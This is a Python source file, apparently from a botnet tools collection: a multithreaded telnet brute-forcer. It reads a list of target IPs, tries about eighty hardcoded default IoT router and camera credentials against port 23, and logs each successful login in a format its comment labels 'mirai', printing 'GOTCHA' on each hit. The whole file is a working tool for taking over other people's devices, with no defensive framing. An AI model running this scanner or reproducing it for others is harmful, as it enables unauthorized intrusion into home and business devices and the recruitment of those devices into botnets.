Path: blob/master/Botnets/Scanning/TELNET/PY BRUTER/telnet_bruter_fast.py
5038 views
//Telnet Bruter1import threading2import sys, os, re, time, socket3from Queue import *4from sys import stdout56if len(sys.argv) < 4:7print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"8sys.exit()910combo = [11"root:xc3511",12"root:vizxv",13"root:admin",14"admin:admin",15"root:888888",16"root:xmhdipc",17"root:default",18"root:juantech",19"root:123456",20"root:54321",21"support:support",22"root:",23"admin:password",24"root:root",25"root:12345",26"user:user",27"admin:",28"root:pass",29"admin:admin1234",30"root:1111",31"admin:smcadmin",32"admin:1111",33"root:666666",34"root:password",35"root:1234",36"root:klv123",37"Administrator:admin",38"service:service",39"supervisor:supervisor",40"guest:guest",41"guest:12345",42"admin1:password",43"administrator:1234",44"666666:666666",45"888888:888888",46"ubnt:ubnt",47"root:klv1234",48"root:Zte521",49"root:hi3518",50"root:jvbzd",51"root:anko",52"root:zlxx.",53"root:7ujMko0vizxv",54"root:7ujMko0admin",55"root:system",56"root:ikwb",57"root:dreambox",58"root:user",59"root:realtek",60"root:00000000",61"admin:1111111",62"admin:1234",63"admin:12345",64"admin:54321",65"admin:123456",66"admin:7ujMko0admin",67"admin:pass",68"admin:meinsm",69"tech:tech",70"mother:fucker",71"default:",72"admin:ADMIN",73"root:1234567",74"supervisor:zyad1234",75"daemon:",76"adm:",77"default:default",78"root:696969",79"Alphanetworks:wrgg19_c_dlwbr_dir300",80"Alphanetworks:wrgn49_dlob_dir600b",81"Alphanetworks:wrgn23_dlwbr_dir600b",82"Alphanetworks:wrgn22_dlwbr_dir615",83"Alphanetworks:wrgnd08_dlob_dir815",84"Alphanetworks:wrgg15_di524",85"Alphanetworks:wrgn39_dlob.hans_dir645",86"Alphanetworks:wapnd03cm_dkbs_dap2555",87"Alphanetworks:wapnd04cm_dkbs_dap3525",88"Alphanetworks:wapnd15_dlob_dap1522b",89"Alphanetworks:wrgac01_dlob.hans_dir865",90"Alphanetworks:wrgn23_dlwbr_dir300b",91"Alphanetworks:wrgn28_dlob_dir412",92"Alphanetworks:wrgn39_dlob.hans_dir645_V1"93]9495ips = open(sys.argv[1], "r").readlines()96threads = int(sys.argv[2])97output_file = sys.argv[3]98queue = Queue()99queue_count = 0100101for ip in ips:102queue_count += 1103stdout.write("\r[%d] Added to queue" % queue_count)104stdout.flush()105queue.put(ip)106print "\n"107108109class router(threading.Thread):110def __init__ (self, ip):111threading.Thread.__init__(self)112self.ip = str(ip).rstrip('\n')113def run(self):114username = ""115password = ""116for passwd in combo:117if ":n/a" in passwd:118password=""119else:120password=passwd.split(":")[1]121if "n/a:" in passwd:122username=""123else:124username=passwd.split(":")[0]125try:126tn = socket.socket()127tn.settimeout(8)128tn.connect((self.ip,23))129except Exception:130tn.close()131break132try:133hoho = ''134hoho += readUntil(tn, "ogin:")135if "ogin" in hoho:136tn.send(username + "\n")137time.sleep(0.09)138except Exception:139tn.close()140try:141hoho = ''142hoho += readUntil(tn, "assword:")143if "assword" in hoho:144tn.send(password + "\n")145time.sleep(0.8)146else:147pass148except Exception:149tn.close()150try:151prompt = ''152prompt += tn.recv(40960)153if ">" in prompt and "ONT" not in prompt:154success = True155elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:156success = True157else:158tn.close()159if success == True:160try:161os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai162print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)163tn.close()164break165except:166tn.close()167else:168tn.close()169except Exception:170tn.close()171172def readUntil(tn, string, timeout=8):173buf = ''174start_time = time.time()175while time.time() - start_time < timeout:176buf += tn.recv(1024)177time.sleep(0.01)178if string in buf: return buf179raise Exception('TIMEOUT!')180181def worker():182try:183while True:184try:185IP = queue.get()186thread = router(IP)187thread.start()188queue.task_done()189time.sleep(0.02)190except:191pass192except:193pass194195for l in xrange(threads):196try:197t = threading.Thread(target=worker)198t.start()199except:200pass201202